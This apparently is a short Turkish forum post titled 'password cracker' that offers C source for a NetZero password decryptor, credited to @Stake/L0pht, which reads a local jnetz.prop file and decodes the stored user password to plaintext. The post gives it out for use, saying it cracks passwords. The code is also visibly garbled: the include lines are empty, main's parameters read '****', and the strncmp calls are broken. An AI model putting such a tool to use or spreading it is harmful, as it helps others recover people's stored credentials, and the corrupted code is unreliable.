SIFRE KIRICI

SALAM KARDESLER BU KODLAR DEV C PASTE EDIN BU KODLAR SIFRE KIRIYOR GULE GULE KULLANIN
#include

#include



#define UID_SIZE 64

#define PASS_CIPHER_SIZE 128

#define PASS_PLAIN_SIZE 64

#define BUF_SIZE 256



const char decTable[6][16] = {

{'`','a','b','c','d','e','f','g','h','i','j','k',' l','m','n','o'},

{'p','q','r','s','t','u','v','w','x','y','z','{',' |','}','~',0},

{'@','A','B','C','D','E','F','G','H','I','J','K',' L','M','N','O'},

{'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'},

{'0','1','2','3','4','5','6','7','8','9',':',';',' <','=','>','?'},

{' ','!','"','#','$','%','&','\'','(',')','*','+',',' ,'-','.','/'}

};



int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE],

char cPlainPass[PASS_PLAIN_SIZE])

{

int passLen, i, idx1, idx2;

passLen = strlen(cCipherPass)/2;



if (passLen > PASS_PLAIN_SIZE)

{

printf("Error: Plain text array too small\n");

return 1;

}



for (i = 0; i < passLen; i++)

{

switch(cCipherPass[i])

{

case '1':

idx2 = 0; break;

case 'a':

idx2 = 1; break;

case 'M':

idx2 = 2; break;

case 'Q':

idx2 = 3; break;

case 'f':

idx2 = 4; break;

case '7':

idx2 = 5; break;

case 'g':

idx2 = 6; break;

case 'T':

idx2 = 7; break;

case '9':

idx2 = 8; break;

case '4':

idx2 = 9; break;

case 'L':

idx2 = 10; break;

case 'W':

idx2 = 11; break;

case 'e':

idx2 = 12; break;

case '6':

idx2 = 13; break;

case 'y':

idx2 = 14; break;

case 'C':

idx2 = 15; break;

default:

printf("Error: Unknown Cipher Text index: %c\n", cCipherPass[i]);

return 1;

break;

}



switch(cCipherPass[i+passLen])

{

case 'g':

idx1 = 0; break;

case 'T':

idx1 = 1; break;

case 'f':

idx1 = 2; break;

case '7':

idx1 = 3; break;

case 'Q':

idx1 = 4; break;

case 'M':

idx1 = 5; break;

default:

printf("Error: Unknown Cipher Text Set: %c\n",

cCipherPass[i+passLen]);

return 1;

break;

}



cPlainPass[i] = decTable[idx1][idx2];

}

cPlainPass[i] = 0;



return 0;

}



int main(****)

{

FILE *hParams;

char cBuffer[BUF_SIZE], cUID[UID_SIZE];

char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE];

int done = 2;



printf("\nNet Zero Password Decryptor\n");

printf("Brian Carrier [bcarrier@atstake.com]\n");

printf("@Stake L0pht Research Labs\n");

printf("http://www.atstake.com\n\n");



if ((hParams = fopen("jnetz.prop","r")) == NULL)

{

printf("Unable to find jnetz.prop file\n");

return 1;

}



while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0))

{

if (strncmp(cBuffer, "ProfUID=", == 0)

{

done--;

strncpy(cUID, cBuffer + 8, UID_SIZE);

printf("UserID: %s", cUID);

}



if (strncmp(cBuffer, "ProfPWD=", == 0)

{

done--;

strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE);

printf("Encrypted Password: %s", cCipherPass);



if (nz_decrypt(cCipherPass, cPlainPass) != 0)

return 1;

else

printf("Plain Text Password: %s\n", cPlainPass);

}



}



fclose(hParams);



if (done > 0)

{

printf("Invalid jnetz.prop file\n");

return 1;

} else {

return 0;

}

}